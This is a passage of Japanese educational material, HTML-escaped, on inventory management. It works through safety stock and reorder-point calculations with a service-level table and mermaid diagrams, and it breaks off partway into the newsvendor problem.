&lt;div&gt;&lt;span&gt;D_L = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{t=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^{L} D_t&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;独立確率変数の和の分散の性質より：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Var}(D_L) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Var}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{t=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^{L} D_t&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{t=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^{L} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Var}(D_t) = L &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_d^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;したがって：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_L = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_d &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{L}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この結果は、&lt;/span&gt;&lt;span&gt;**分散の加法性**&lt;/span&gt;&lt;span&gt;（Additivity of Variance）と&lt;/span&gt;&lt;span&gt;**独立確率変数の和の性質**&lt;/span&gt;&lt;span&gt;に基づいている。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**サービスレベルと分位数の関係**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;| サービスレベル | 品切れ確率 | $ z_{\alpha} $（概算） |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;|--------------|----------|----------------------|&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 90% | 10% | 1.28 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 95% | 5% | 1.65 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 99% | 1% | 2.33 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 99.9% | 0.1% | 3.09 |&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 発注点の計算例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;年間需要 $&lt;/span&gt;&lt;span&gt; R = &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 単位、年間営業日数 $&lt;/span&gt;&lt;span&gt; D = &lt;/span&gt;&lt;span&gt;250&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 日、リードタイム $&lt;/span&gt;&lt;span&gt; L = &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 日、1日あたりの需要の標準偏差 $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_d = &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 単位、サービスレベル 95% の場合：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;d = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;250&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 単位/日}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{リードタイム中の需要予測} = &lt;/span&gt;&lt;span&gt;20&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 単位}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_L = &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;4.47&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 単位}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{安全在庫} = &lt;/span&gt;&lt;span&gt;1.65&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;4.47&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;7.38&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 単位} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 単位}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{発注点} = &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;108&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 単位}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;在庫量が108単位に達した時点で発注を行う。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 問題②　リードタイムと安全在庫の計算&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 問題文&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ある商品について以下の情報が与えられている：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 年間需要量: $&lt;/span&gt;&lt;span&gt;R = &lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 単位&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 年間営業日数: $&lt;/span&gt;&lt;span&gt;D = &lt;/span&gt;&lt;span&gt;300&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 日&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; リードタイム: $&lt;/span&gt;&lt;span&gt;L = &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 日&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 1日あたりの需要の標準偏差: $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_d = &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 単位&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; サービスレベル: 95%（$&lt;/span&gt;&lt;span&gt;z_{&lt;/span&gt;&lt;span&gt;0.95&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;1.65&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; 日次平均需要 $&lt;/span&gt;&lt;span&gt;d$&lt;/span&gt;&lt;span&gt; を求めよ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; リードタイム中の需要予測を求めよ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; リードタイム中の需要の標準偏差 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_L$&lt;/span&gt;&lt;span&gt; を求めよ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; 安全在庫 $&lt;/span&gt;&lt;span&gt;SS$&lt;/span&gt;&lt;span&gt; を求めよ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;5.&lt;/span&gt;&lt;span&gt; 発注点 $&lt;/span&gt;&lt;span&gt;ROP$&lt;/span&gt;&lt;span&gt; を求めよ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 解答&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 1. 日次平均需要 $d$ の計算&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;d = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{D} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;300&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;40&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 単位/日}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 2. リードタイム中の需要予測&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{リードタイム中の需要予測} = d &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times L = &lt;/span&gt;&lt;span&gt;40&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;280&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 単位}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 3. リードタイム中の需要の標準偏差 $\sigma_L$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;独立確率変数の和の分散の性質より：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_L = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_d &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{L} = &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;2.646&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;13.23&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 単位}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 4. 安全在庫 $SS$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;サービスレベル95%に対応する分位数 $&lt;/span&gt;&lt;span&gt;z_{&lt;/span&gt;&lt;span&gt;0.95&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;1.65&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; を用いて：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;SS = z_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_L = &lt;/span&gt;&lt;span&gt;1.65&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;13.23&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;21.83&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 単位} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;22&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 単位}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 5. 発注点 $ROP$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;ROP = d &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times L + SS = &lt;/span&gt;&lt;span&gt;280&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;22&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;302&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ 単位}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 答え&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**日次平均需要**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;d = &lt;/span&gt;&lt;span&gt;40&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 単位/日&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**リードタイム中の需要予測**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;280&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 単位&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**リードタイム中の需要の標準偏差**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_L &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;13.23&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 単位&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**安全在庫**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;SS = &lt;/span&gt;&lt;span&gt;22&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 単位&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**発注点**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;ROP = &lt;/span&gt;&lt;span&gt;302&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; 単位&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 検証&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;在庫量が302単位に達した時点で発注を行うことで、リードタイム中に品切れが発生する確率は5%以下に抑えられ、95%のサービスレベルを維持できる。安全在庫22単位は、需要の変動に対応するためのバッファとして機能する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図10: 定量発注方式の在庫変動パターン**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "定量発注方式の在庫変動パターン"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[最大在庫水準&amp;lt;br/&amp;gt;Maximum Inventory&amp;lt;br/&amp;gt;Q+SS] --&amp;gt;|需要発生&amp;lt;br/&amp;gt;Demand Rate d| B[在庫減少&amp;lt;br/&amp;gt;Inventory Depletion]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt;|在庫=発注点&amp;lt;br/&amp;gt;I=ROP| C[発注点到達&amp;lt;br/&amp;gt;Reorder Point Triggered&amp;lt;br/&amp;gt;ROP=d×L+SS]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; D[発注実行&amp;lt;br/&amp;gt;Order Placement&amp;lt;br/&amp;gt;Q units ordered]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt;|リードタイムL&amp;lt;br/&amp;gt;Lead Time| E[納入待機中&amp;lt;br/&amp;gt;Pending Delivery&amp;lt;br/&amp;gt;在庫は減少継続]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt;|在庫=安全在庫&amp;lt;br/&amp;gt;I=SS| F[納入完了&amp;lt;br/&amp;gt;Delivery Arrival&amp;lt;br/&amp;gt;t=t₀+L]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; G[在庫補充&amp;lt;br/&amp;gt;Inventory Replenishment&amp;lt;br/&amp;gt;I=Q+SS]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; A&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "安全在庫の役割"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H[需要変動&amp;lt;br/&amp;gt;Demand Variability&amp;lt;br/&amp;gt;σₗ=σₐ√L] --&amp;gt; I[サービスレベル&amp;lt;br/&amp;gt;Service Level α&amp;lt;br/&amp;gt;PStockout≤1-α]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; J[安全在庫計算&amp;lt;br/&amp;gt;SS=zₐ×σₗ&amp;lt;br/&amp;gt;Safety Stock]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        J --&amp;gt; K[品切れ防止&amp;lt;br/&amp;gt;Stockout Prevention]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "発注点の数学的表現"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        L[ROP=d×L+zₐ×σₗ&amp;lt;br/&amp;gt;d 日次平均需要&amp;lt;br/&amp;gt;L リードタイム&amp;lt;br/&amp;gt;zₐ サービスレベル分位数&amp;lt;br/&amp;gt;σₗ リードタイム中の需要の標準偏差]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 例②　新聞売り子問題（Newsvendor Problem）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;在庫管理の問題と本質的に同じ問題として、新聞を仕入れて販売するモデル（&lt;/span&gt;&lt;span&gt;**新聞売り子問題**&lt;/span&gt;&lt;span&gt;、Newsvendor Problem）を考える。この問題は、不確実な需要に対して最適な発注量を決定する問題の典型例である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;**関連トピック**&lt;/span&gt;&lt;span&gt;：この問題は期待効用最大化問題としても定式化できる。不確実性下での意思決定の具体例として、ベイズ意思決定理論の応用でもある。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 問題設定&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 1部 $&lt;/span&gt;&lt;span&gt; c $&lt;/span&gt;&lt;span&gt; 円で仕入れた新聞を $&lt;/span&gt;&lt;span&gt; a $&lt;/span&gt;&lt;span&gt; 円で売る&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 客は1日平均 $&lt;/span&gt;&lt;span&gt; m $&lt;/span&gt;&lt;span&gt; 人やってくるが、毎日の客数 $&lt;/span&gt;&lt;span&gt; x $&lt;/span&gt;&lt;span&gt; は変動する（確率変数）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 売れ残りが発生すると仕入分の損失となる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 品切れを起こすとその分の利益を逃すことになる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 新聞売り子が得る利益を最大にする1日の最適発注部数を求める&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 問題の構造&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図11: 新聞売り子問題の意思決定フロー**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "新聞売り子問題の意思決定フロー"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[仕入部数Q決定&amp;lt;br/&amp;gt;Order Quantity Decision&amp;lt;br/&amp;gt;Decision Variable] --&amp;gt; B[当日の客数x実現&amp;lt;br/&amp;gt;Daily Demand Realization&amp;lt;br/&amp;gt;x~f 確率変数]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; C{需要と供給の関係&amp;lt;br/&amp;gt;Demand vs Supply&amp;lt;br/&amp;gt;x vs Q}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt;|x≤Q&amp;lt;br/&amp;gt;供給過多| D[売れ残り発生&amp;lt;br/&amp;gt;Excess Inventory&amp;lt;br/&amp;gt;損失 c×Q-x&amp;lt;br/&amp;gt;Overstocking Cost]&lt;/span&gt;&lt;/div&gt;
